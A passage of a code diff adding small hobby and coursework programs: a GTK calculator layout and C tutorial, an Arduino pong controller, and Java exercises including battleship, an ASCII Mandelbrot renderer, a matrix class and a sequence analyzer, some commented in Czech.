+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">^</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_reset">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">RST</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="reset"/>
+ </object>
+ <packing>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_clear">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">C</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_clear_clicked"/>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_point">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">.</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_0">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">0</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_3">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">3</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_2">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">2</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">1</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">2</property>
+ <property name="bottom_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_6">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">6</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_5">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">5</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_4">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">4</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ <property name="top_attach">1</property>
+ <property name="bottom_attach">2</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_9">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">9</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_8">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">8</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">3</property>
+ <property name="right_attach">4</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_7">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">7</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_no_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">2</property>
+ <property name="right_attach">3</property>
+ </packing>
+ </child>
+ <child>
+ <object class="GtkButton" id="button_eq">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">=</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button_op_clicked"/>
+ </object>
+ <packing>
+ <property name="left_attach">4</property>
+ <property name="right_attach">5</property>
+ <property name="top_attach">3</property>
+ <property name="bottom_attach">4</property>
+ </packing>
+ </child>
+ </object>
+ <packing>
+ <property name="position">2</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ </object>
+</interface>
--- /dev/null
+#!/bin/bash
+gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
--- /dev/null
+/*
+First run tutorial.glade through gtk-builder-convert with this command:
+ gtk-builder-convert tutorial.glade tutorial.xml
+
+Then save this file as main.c and compile it using this command
+(those are backticks, not single quotes):
+ gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic
+
+Then execute it using:
+ ./tutorial
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <gtk/gtk.h>
+
+GtkBuilder *builder;
+GtkWidget *window, *button1, *entry1;
+
+
+void on_window_destroy (GtkObject *object, gpointer user_data)
+{
+ gtk_main_quit ();
+}
+
+void on_button1_clicked() {
+ puts("click!");
+ puts(gtk_entry_get_text(entry1));
+ //gtk_button_set_label(button1, "lol");
+ gtk_button_set_label(button1, gtk_entry_get_text(entry1));
+}
+
+int main (int argc, char *argv[])
+{
+ gtk_init (&argc, &argv);
+
+ builder = gtk_builder_new ();
+ gtk_builder_add_from_file (builder, "test.xml", NULL);
+ window = GTK_WIDGET (gtk_builder_get_object (builder, "window"));
+
+ button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1"));
+ entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1"));
+
+
+ gtk_builder_connect_signals (builder, NULL);
+
+ g_object_unref (G_OBJECT (builder));
+
+ gtk_widget_show (window);
+ gtk_main ();
+
+ return 0;
+}
+
--- /dev/null
+<?xml version="1.0"?>
+<interface>
+ <object class="GtkWindow" id="window">
+ <property name="visible">True</property>
+ <signal name="destroy" handler="on_window_destroy"/>
+ <child>
+ <object class="GtkVBox" id="vbox1">
+ <property name="visible">True</property>
+ <child>
+ <object class="GtkEntry" id="entry1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ </object>
+ </child>
+ <child>
+ <object class="GtkButton" id="button1">
+ <property name="visible">True</property>
+ <property name="can_focus">True</property>
+ <property name="receives_default">True</property>
+ <property name="label" translatable="yes">Button1</property>
+ <property name="response_id">0</property>
+ <signal name="clicked" handler="on_button1_clicked"/>
+ </object>
+ <packing>
+ <property name="position">1</property>
+ </packing>
+ </child>
+ </object>
+ </child>
+ </object>
+</interface>
--- /dev/null
+/* Pong controller (for use with hPong)
+ * <~~Harvie 2oo8
+ */
+
+#define inpin 0
+int min = 65535, max = 0;
+int stadium_max = 14;
+char offset = 8;
+float val = 0, oldval = -255;
+
+void setup() // run once, when the sketch starts
+{
+ stadium_max+=offset;
+ Serial.begin(115200);
+}
+
+void loop() // run over and over again
+{
+ val = analogRead(inpin);
+ if(val<min) min=val;
+ if(val>max) max=val;
+ val=(((val-(min))/(max-(min)))*stadium_max)-offset;
+ if(val!=oldval) {
+ oldval = val;
+ //Serial.print(min, DEC); Serial.print("-"); Serial.print(max, DEC); Serial.print("\n");
+ //Serial.print(val, DEC); Serial.print("\n");
+ Serial.print(val, BYTE);
+ }
+ delay(1);
+}
--- /dev/null
+import java.util.Scanner;
+
+class seznam {
+ public int hodnota = 0;
+ public seznam dalsi = null;
+}
+
+public class linkedlist {
+ public static void main (String argv[]) {
+ Scanner sc = new Scanner(System.in);
+
+ System.out.print("pocet: ");
+ int pocet = sc.nextInt();
+
+ System.out.println("cisla: ");
+ //vytvoreni spojoveho seznamu a pridani dalsich prvku
+ seznam s = new seznam();
+ seznam prvni = s;
+ for(int i = 0;i<pocet;i++) {
+ s.hodnota = sc.nextInt();
+ s = (s.dalsi = new seznam());
+ }
+
+ //cyklus na prochazeni spojoveho seznamu
+ for(s=prvni; s.dalsi != null; s=s.dalsi) {
+ System.out.println(s.hodnota);
+ }
+ }
+}
--- /dev/null
+import java.util.Scanner;
+import java.text.NumberFormat;
+import java.lang.Math;
+import java.io.*;
+
+/** Trida BitevniPole je implementaci hry lode pro jednoho hrace
+ * @author hejnama2
+ * @version 1.0
+ */
+
+class BitevniPole implements Serializable {
+ /** pole znaku, ve kterem je ulozen stav bitevniho pole */
+ public char[][] pole;
+ public final int size; //velikost pole (x je stejne jako y)
+ //private Random rnd = new Random();
+ private Scanner sc = new Scanner(System.in);
+ private long draws = 0, impacts = 0, total_impacts = 0; //pocet tahu, pocet zasahu, celkovy pocet okupovanych policek
+ private int x,y; //pomocne promenne
+ public boolean debug = false; //urcuje, jestli se budou lode zobrazovat (takovy cheat pro odladeni programu)
+
+ public char //tady jsou ruzne znaky reprezentujici ruzne stavy jednotlivych bunek pole:
+ neznamo = '_',
+ lod = '#',
+ voda = '~',
+ zasah = 'X';
+
+ /** vypise napovedu ke hre */
+ public void printHelp() {
+ System.out.print(
+ "Pri zadavani souradnic dodrzujte mala a velka pismenka.\n"+
+ neznamo + " - zatim neproskoumane policko\n"+
+ zasah + " - policko se zasazenou lodi\n"+
+ voda + " - policko se splouchnutim vody\n"+
+ lod + " - lod (zobrazuje se jen pri debug = true)\n"
+ );
+ }
+
+ /** konstruktor - vytvori prazdne bitevni pole o velikosti s */
+ BitevniPole(int s) {
+ int max_size = 59;
+ if(s < 1 || s > max_size) {
+ System.err.println("Can't make battlefield smaller than 1x1 or bigger than "+max_size+"x"+max_size+"!");
+ System.exit(max_size);
+ }
+ size = s;
+ pole = new char[size][size];
+ for(x = 0;x < size;x++) for(y = 0;y < size;y++) pole[x][y] = neznamo;
+ }
+
+ /** druhy konstruktor - vytvori pole o vychozi s pouzitim prvniho konstruktoru velikosti (bude zavolan, pokud neni zadna velikost zadana) */
+ BitevniPole() {
+ this(10);
+ }
+
+ /** metoda zajistujici rozmisteni lodi - ve skutecnosti zatim rozmistuje jen nahodne ctverecky, ne cele lode*/
+ public void rozmistiLode(int i) {
+ for(;i>0;i--) {
+ x = (int)(Math.random()*(size-1));
+ y = (int)(Math.random()*(size-1));
+ pole[x][y] = lod;
+ total_impacts++;
+ }
+ }
+
+ /** metoda, ktera vytvori string znazornujici toto bitevni pole */
+ public String toString() {
+ String out = new String("\n");
+ out += " \tPocet tahu: "+draws+"\n";
+ out += " \tPocet zasahu: "+impacts+" z "+total_impacts+"\n";
+ out += " \t";
+ for(y = 0;y < size;y++) out += "|"+(char)((int)'A'+y);
+ out += "|\n\n";
+ for(x = 0;x < size;x++) {
+ out += x+"\t";
+ for(y = 0;y < size;y++) {
+ if(!debug && pole[x][y] == lod) {
+ out += "|"+neznamo;
+ continue;
+ }
+ out += "|"+pole[x][y];
+ }
+ out += "|\n";
+ }
+ return out;
+ }
+
+ /** zjisti, jestli uz byly zniceny vsechny lode a vrati jako boolean */
+ public boolean jeKonec() {
+ for(x = 0;x < size;x++) for(y = 0;y < size;y++) if(pole[x][y] == lod) return false;
+ return true;
+ }
+
+ /** strili na souradnice x,y */
+ public boolean strilej(int a, int b) {
+ if(a >= size || b >= size || a < 0 || b < 0) {
+ System.out.println("No such cell!");
+ return false;
+ }
+ if(pole[a][b] == voda || pole[a][b] == zasah) {
+ System.out.println("This cell was already impacted!");
+ return false;
+ }
+ if(pole[a][b] == lod) {
+ pole[a][b] = zasah;
+ impacts++;
+ }
+ if(pole[a][b] == neznamo) pole[a][b] = voda;
+ draws++;
+ return true;
+ }
+
+ /** provede hrace dalsim tahem */
+ public void dalsiTah() {
+ System.out.println(this);
+ System.out.print("pismenko: ");
+ y = (int)(sc.next().charAt(0)-'A');
+ System.out.print("cislicko: ");
+ x = sc.nextInt();
+ strilej(x, y);
+ }
+
+ /** provadi tahy, dokud neni pravda, ze jeKonec(), pak vypise gratulace a zkonci */
+ public void hrat() {
+ while(!jeKonec()) dalsiTah();
+ System.out.println("\n!!! CONGRATULATIONS !!!");
+ System.out.println("You have defeated "+impacts+" ships within "+draws+" draws!");
+ System.out.println("!!! CONGRATULATIONS !!!\n");
+ }
+
+}
+
+/** trida lode vytvori BytevniPole a provede vse potrebne ke spusteni hry */
+public class lode {
+ public static void main(String[] argv) {
+ System.out.println("Lode (verze pro jednoho hrace)");
+
+ BitevniPole bp = new BitevniPole(2); //nove bitevni pole (pokud neni zadana velikost, bude pouzita vychozi velikost)
+ bp.printHelp(); //vypis napovedu
+ //bp.debug = true; //zapne zobrazeni lodi (to je pri hre nezadouci podvod)
+ bp.rozmistiLode(2); //kolik lodi chceme?
+
+ bp.hrat(); //hrajeme
+
+ }
+}
+
--- /dev/null
+/*
+ * Mandelbrot set ASCII visualisation
+ * http://en.wikipedia.org/wiki/Mandelbrot_set
+ * http://www.root.cz/clanky/barvy-pro-shell/
+ * Copylefted by: Harvie 2oo9
+
+
+ aa
+ aa
+ aa
+ aa
+ aaaccaaa
+ aaai iaaa
+ aabaab baabaa
+ aab baa
+ aad daa
+ aab baa
+ aaaaad daaaaa
+ aaacccl lcccaaa
+ dbaaab baaabd
+ aab baa
+ aab baa
+ aaaaah haaaaa
+ ba aaaak c c kaaaa ab
+ aabc cbaa
+ aacabab babacaa
+ aae ZEN OF CODING eaa
+ aaa aaa
+ ae n cc n ea
+ aaa ab aa afa afa aa ba aaa
+
+ */
+
+package mandelbrot;
+import java.math.*;
+
+public class mandelbrot {
+ public String[] chars = " .`-_\':,;^=+/\\\"|)\\<>)iv%xclrs{*}I?!][1taeo7zjLunT#JCwfy325Fp6mqSghVd4EgXPGZbYkOA&8U$@KHDBWNMR0Q".split("");
+ public int max_iteration = 140;
+ public float zoom = 65;
+
+ public double x_from = -2;
+ public double x_to = 2;
+ public double y_from = -2.1;
+ public double y_to = 2.1;
+
+ public boolean color = false;
+ public boolean background = false;
+
+
+ public mandelbrot() {
+ max_iteration = 140;
+ zoom = 65;
+
+ x_from = -2;
+ x_to = 2;
+ y_from = -2.1;
+ y_to = 2.1;
+
+ color = false;
+ background = false;
+ }
+
+ public int get_pixel_value(double x0, double y0) {
+ double x = 0;
+ double y = 0;
+
+ int iteration = 0;
+
+ while( x*x + y*y <= (2*2) && iteration < max_iteration ) {
+ double xtemp = x*x - y*y + x0;
+ y = 2*x*y + y0;
+ x = xtemp;
+ iteration++;
+ }
+
+ if( iteration >= max_iteration ) {
+ return 0;
+ } else {
+ return iteration;
+ }
+
+ }
+
+ public String get_pixel_character(double x, double y) {
+ float i = ((float)get_pixel_value(x, y)/(float)max_iteration) * (chars.length-1);
+ chars[0]=" ";
+ return chars[Math.round(i)];
+ }
+
+ public String get_pixel_xterm_color(double x, double y) {
+ int i = Math.round( ((float)get_pixel_value(x, y)/max_iteration)*14 );
+ return "\033["+((int)(i%2))+";"+(30+(int)(i/2))+"m";
+ }
+
+ public String get_pixel_xterm_background(double x, double y) {
+ int i = 40+Math.round( ((float)get_pixel_value(x, y)/max_iteration)*7 );
+ return "\033["+i+"m";
+ }
+
+ public static void cls() {
+ System.out.print("\033[2J");
+ }
+
+ public static void top() {
+ System.out.print("\033[0;0H");
+ }
+
+ public void stat() {
+ System.out.print("ASCII Mandelbrot Set Visualisation (Harvie 2oo9) - Iterations: "+max_iteration+", zoom: "+zoom+" \n");
+ }
+
+ public void render() {
+ //if(color || background) max_iteration = 14;
+
+ double x, y;
+ for(x=x_from; x<=x_to; x+=5/zoom) { for(y=y_from; y<=y_to; y+=2/zoom) {
+ if(color) System.out.print(get_pixel_xterm_color(x, y));
+ if(background) System.out.print(get_pixel_xterm_background(x, y));
+
+ System.out.print(get_pixel_character(x, y));
+ //System.out.print(get_pixel_color(x, y)+" ");
+ } System.out.println("\033[0m"); }
+ }
+
+}
--- /dev/null
+/*
+ * knihovna mandelbrot umi vykreslit do terminalu mandelbrotovu mnozinu
+ * mnoha ruznymy zpusoby - vcetne barev.
+ * tento program demonstruje jeji pouziti
+ * cely sem to zbastlil za jeden vecer podle wikipedie,
+ * takze se neda cekat zadne zazracne formatovani, ani komentare
+ * ucelem je prokazat znalost javy a OP.
+ *
+ * Copylefted by Tomas "Harvie" Mudrunka 2oo9
+ */
+
+
+import mandelbrot.*;
+
+public class testm {
+ public static void main(String[] argv) {
+ //String[] chars = " abc".split("");
+ //System.out.println(chars.length+" "+chars[5]+"---");
+
+ //basic:
+ mandelbrot m = new mandelbrot();
+ m.cls();
+ m.render();
+
+ //advanced:
+ m.max_iteration=28;
+ m.color=true;
+ m.stat();
+ m.render();
+
+ m.zoom=20;
+ m.color=false;
+ m.max_iteration=350;
+ m.stat();
+ m.render();
+
+ m.zoom=65;
+ m.max_iteration=14;
+ m.chars = " ".split("");
+ m.color=false;
+ m.background=true;
+ m.stat();
+ m.render();
+
+ m = new mandelbrot(); //reset to defaults (garbage collector will get rid of the old instance)
+
+ m.zoom=1000;
+ m.max_iteration=14;
+ m.background=true;
+ m.color=true;
+ m.x_from=-0.6;
+ m.x_to=-0.3;
+ m.y_from=-0.7;
+ m.y_to=-0.5;
+ m.stat();
+ m.render();
+ }
+}
--- /dev/null
+import java.util.Random;
+import java.text.NumberFormat;
+import java.lang.Math;
+import java.io.*;
+
+/** Class representing matrix with methods for matrix algebra
+ * Copylefted by: Harvie 2oo9 ( http://blog.harvie.cz/ )
+ * @author Thomas Harvie Mudrunka (mudruto1)
+ * @version 1.0
+ */
+
+class Matrix implements Serializable {
+ public float[][] matrix;
+ public final int x, y;
+ private Random rnd = new Random();
+
+ /** Construct new zero matrix described by (rows,cols) */
+ Matrix(int i, int j) {
+ x = i;
+ y = j;
+ matrix = new float[x][y];
+ for(i = 0;i < x;i++) for(j = 0;j < y;j++) matrix[i][j] = 0;
+ }
+
+ /** Construct new matrix from (2d_array) */
+ Matrix(float[][] m) {
+ x = m.length;
+ y = m[0].length;
+ matrix = m;
+ }
+
+ /** Return matrix as multiline String ready to output */
+ public String toString() {
+ String out = new String("");
+ for(int i = 0;i < x;i++) {
+ out += "|\t";
+ for(int j = 0;j < y;j++) out += (NumberFormat.getInstance().format(matrix[i][j])+"\t");
+ out += "|\n";
+ }
+ return out;
+ }
+
+ /** Print matrix to console */
+ public void print() {
+ System.out.println(this.toString());
+ }
+
+ /** Randomize matrix with numbers x, where: 0 <= x < max */
+ public void randomize(int max) {
+ for(int i = 0;i < x;i++) for(int j = 0;j < y;j++) matrix[i][j] = rnd.nextInt(max);
+ }
+
+ /** Compare size of this and another matrix */
+ public boolean compatible(Matrix m) {
+ if(m.x == this.x && m.y == this.y) return true;
+ System.err.println("Cannot add/subtract/multiply two matrices with different sizes!");
+ return false;
+ }
+
+ /** Add another matrix to this and return result */
+ public Matrix add(Matrix m) {
+ if(!compatible(m)) return null;
+ Matrix o = new Matrix(x,y);
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j];
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += m.matrix[i][j];
+ return o;
+ }
+
+ /** Subtract another matrix from this and return result */
+ public Matrix subtract(Matrix m) {
+ if(!compatible(m)) return null;
+ Matrix o = new Matrix(x,y);
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j];
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] -= m.matrix[i][j];
+ return o;
+ }
+
+ /** Scalar-multiply this matrix by another one and return result */
+ public Matrix multiply(Matrix m) {
+ if(!compatible(m)) return null;
+ Matrix o = new Matrix(x,y);
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j];
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] *= m.matrix[i][j];
+ return o;
+ }
+
+ /** Matrix-multiply this matrix by another one and return result */
+ public Matrix mmultiply(Matrix m) {
+ if(this.y != m.x) {
+ System.err.println("Cannot multiply those two matrices!");
+ return null;
+ }
+ Matrix o = new Matrix(this.x,m.y);
+ for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) {
+ for(int z = 0;z < this.y;z++) o.matrix[i][j] += this.matrix[i][z] * m.matrix[z][j];
+ }
+ return o;
+ }
+
+ /** Return matrix representing this matrix with swapped rows a and b */
+ public Matrix swap_rows(int a, int b) {
+ Matrix o = new Matrix(x,y);
+ int i, j;
+ for(i = 0;i < o.x;i++) for(j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j];
+ float tmp[] = o.matrix[a];
+ o.matrix[a] = o.matrix[b];
+ o.matrix[b] = tmp;
+ return o;
+ }
+
+ /** Return determinant of this matrix */
+ public double determinant() {
+ System.err.println("TODO: Determinant!");
+ return 0;
+ }
+
+ /*public float SIM_MIN(float a, float b) {
+ return (a < b ? a : b);
+ }
+
+ public double fabs(double a) {
+ return Math.abs(a);
+ }*/
+
+ /** Return matrix representing upper triangle format of this matrix */
+ public Matrix echelon() {
+ System.err.println("Reducing to echelon row form is not working properly!");
+ //return null;
+ Matrix o = new Matrix(x,y);
+ int i, j;
+ for(i = 0;i < o.x;i++) for(j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j];
+
+ for(int row = x; row >= 0; row--) {
+ //reduceRow(row);
+ double multiplier;
+ for(j=row+1; j < y; j++) {
+ if(o.matrix[row][j] != 0) {
+ multiplier = -o.matrix[row][j];
+ //addRow(j, row, multiplier);
+ //(int fromRow, int toRow, double mult)
+ for(i=0; i<y; i++) {
+ o.matrix[row][i] += o.matrix[j][i]*multiplier;
+ }
+ }
+ }
+ }
+ /*int lead = 0;
+
+ for(int r = 0; r < x; r++) {
+ if(x <= lead) {
+ return o;
+ }
+ i = r;
+ while(o.matrix[i][lead] == 0) {
+ i++;
+ if(x == i) {
+ i = r;
+ lead++;
+ if(y == lead) {
+ return o;
+ }
+ }
+ }
+ o = o.swap_rows(i, r);
+ for(j = 0;j < y; j++) o.matrix[r][j] /= o.matrix[r][lead];
+ for(int row = 0; row < x; row++)
+ {
+ if(row != r)
+ {
+ for(int l = 0; l < y; l++)
+ o.matrix[row][l] -= o.matrix[i][lead] * o.matrix[r][l];
+ }
+ }
+ lead++;
+ }
+ */
+
+ return o;
+ }
+
+ /** Serialize this object to file specified by its name (and path) */
+ public boolean save(String file) {
+ try {
+ ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
+ os.writeObject(this);
+ os.close();
+ } catch (Exception e) {
+ e.printStackTrace();
+ return false;
+ }
+ return true;
+ }
+
+ /** Deserialize and return Matrix object from file specified by its name (and path) */
+ public static Matrix load(String file) {
+ Matrix m = null;
+ try {
+ ObjectInputStream is = new ObjectInputStream(new FileInputStream(file));
+ m = (Matrix) is.readObject();
+ is.close();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return m;
+ }
+
+
+}
+
+/** Class demonstrating usage of Matrix class */
+public class matice {
+ public static void main(String[] argv) {
+ System.out.println("You has matrix! Follow the black habit ;o)\n");
+
+ String file = "f.matrix";
+
+ System.out.println("Created matrix F and saved to file "+file+" =");
+ Matrix f = new Matrix(3,3); f.randomize(2); f.print();
+ f.save(file);
+
+ System.out.println("Loaded matrix G from file "+file+" =");
+ Matrix g = Matrix.load(file); g.print();
+
+ System.exit(0);
+
+ System.out.println("Created matrix A =");
+ Matrix a = new Matrix(3,3); a.randomize(2); a.print();
+
+ System.out.println("Created matrix B =");
+ Matrix b = new Matrix(new float[][] {
+ {1, 2, 3},
+ {4, 5, 6},
+ {7, 8, 9}
+ });
+ b.print();
+
+ /*System.out.println("Row Echelon form of B =");
+ b.echelon().print();
+ */
+
+ System.out.println("A + B =");
+ a.add(b).print();
+
+ System.out.println("A - B =");
+ a.subtract(b).print();
+
+ System.out.println("A * B =");
+ a.multiply(b).print();
+
+ System.out.println("Swap rows 0 and 1 of matrix B =");
+ b.swap_rows(0,1).print();
+
+ System.out.println("Created matrix C =");
+ Matrix c = new Matrix(3,4); c.randomize(20); c.print();
+
+ System.out.println("Created matrix D =");
+ Matrix d = new Matrix(4,2); d.randomize(10); d.print();
+
+ System.out.println("C . D =");
+ c.mmultiply(d).print();
+ }
+}
+
+/* Echelon debug:
+
+B: matrix(
+ [1,2,3],
+ [4,5,6],
+ [7,8,9]
+);
+
+echelon(B) = matrix(
+[1,2,3],
+[0,1,2],
+[0,0,0]
+)
+
+**********************************/
+
+
+/* Example:
+
+0 ;) harvie@harvie-ntb prg $ javac matice.java; java matice
+You has matrix! Follow the black habit ;o)
+
+Created matrix A =
+| 0 0 0 |
+| 0 0 1 |
+| 1 1 0 |
+
+Created matrix B =
+| 8 9 8 |
+| 7 9 6 |
+| 7 4 8 |
+
+A + B =
+| 8 9 8 |
+| 7 9 7 |
+| 8 5 8 |
+
+A - B =
+| -8 -9 -8 |
+| -7 -9 -5 |
+| -6 -3 -8 |
+
+A * B =
+| 0 0 0 |
+| 0 0 6 |
+| 7 4 0 |
+
+Created matrix C =
+| 19 12 2 7 |
+| 1 3 8 12 |
+| 7 5 13 4 |
+
+Created matrix D =
+| 8 2 |
+| 7 8 |
+| 8 4 |
+| 5 7 |
+
+C . D =
+| 287 191 |
+| 153 142 |
+| 215 134 |
+
+*/
--- /dev/null
+import java.io.*;
+import java.util.*;
+import java.lang.Math;
+
+/** Pisemka - program "Analyze"
+ * Copylefted by: Harvie 2oo9 ( http://blog.harvie.cz/ )
+ * @author Thomas Harvie Mudrunka (mudruto1)
+ * @version 1.0
+ */
+/* Priklad:
+Zadavej posloupnost ukoncenou zapornym cislem:
+1
+2
+3
+4
+5
+-1
+Byla zadana nasledujici rada:
+1.0; 2.0; 3.0; 4.0; 5.0;
+minimum = 1.0
+maximum = 5.0
+Cisla delitelna 3.0:
+3.0;
+prumer = 3,00
+Prvocisla:
+2.0; 3.0; 5.0;
+*/
+class analyzator {
+ private double[] seq = new double[101];
+ private Scanner sc = new Scanner(System.in);
+
+ public boolean readSeq() {
+ System.out.println("Zadavej posloupnost ukoncenou zapornym cislem:");
+ int i;;
+ for(i=0;i<seq.length;i++) {
+ try {
+ seq[i] = sc.nextDouble();
+ } catch(Exception e) {
+ return false;
+ }
+ if(seq[i] < 0) break;
+ }
+ System.out.println("Byla zadana nasledujici rada:");
+ for(i=0;i<seq.length;i++) {
+ if(seq[i] < 0) break;
+ System.out.print(seq[i]+"; ");
+ }
+ System.out.println("");
+ return true;
+ }
+
+ public void vypisMinimax() {
+ double min = seq[0], max = seq[0];
+ int i;
+ for(i=1;i<seq.length;i++) {
+ if(seq[i] < 0) break;
+ if(seq[i] < min) min = seq[i];
+ if(seq[i] > max) max = seq[i];
+ }
+ System.out.println("minimum = "+min);
+ System.out.println("maximum = "+max);
+ }
+
+ public void vypisDelitelne(double a) {
+ System.out.println("Cisla delitelna "+a+":");
+ int i;
+ for(i=0;i<seq.length;i++) {
+ if(seq[i] < 0) break;
+ if((seq[i] % a) == 0) System.out.print(seq[i]+"; ");
+ }
+ System.out.println("");
+ }
+
+ public boolean jePrvocislo(double a) {
+ if(a <= 1) return false;
+ if(a == 2) return true;
+ if(a % 2 == 0) return false;
+ int i;
+ for(i = 3; i <= Math.sqrt(a); i += 2){
+ if(a % i == 0) return false;
+ }
+ return true;
+ }
+
+ public void vypisPrvocisla() {
+ System.out.println("Prvocisla:");
+ int i;
+ for(i=0;i<seq.length;i++) {
+ if(seq[i] < 0) break;
+ if(jePrvocislo(seq[i])) System.out.print(seq[i]+"; ");
+ }
+ System.out.println("");
+ }
+
+ public void vypisPrumer() {
+ int i, max;
+ double avg = 0;
+ for(max=0;max<seq.length;max++) if(seq[max] < 0) break;
+ for(i=0;i<max;i++) avg += (seq[i]/max);
+ System.out.printf("prumer = %.2f\n",avg);
+ }
+}
+
+public class Analyze {
+ public static void main(String[] argv) {
+ //System.out.println("\n");
+ analyzator a = new analyzator();
+ if(!a.readSeq()) {
